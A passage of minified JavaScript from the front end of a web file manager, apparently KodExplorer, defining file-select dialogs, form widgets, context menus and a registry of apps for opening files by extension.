i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
        ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a})) -},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
      • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
      • '+r(o.icon)+""+d+"
      • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
        ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
        ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
        '+LNG.unknow_file_tips+"
        "+t+'
        2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+r+o+'">'+LNG.unknow_file_download+'
        '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var 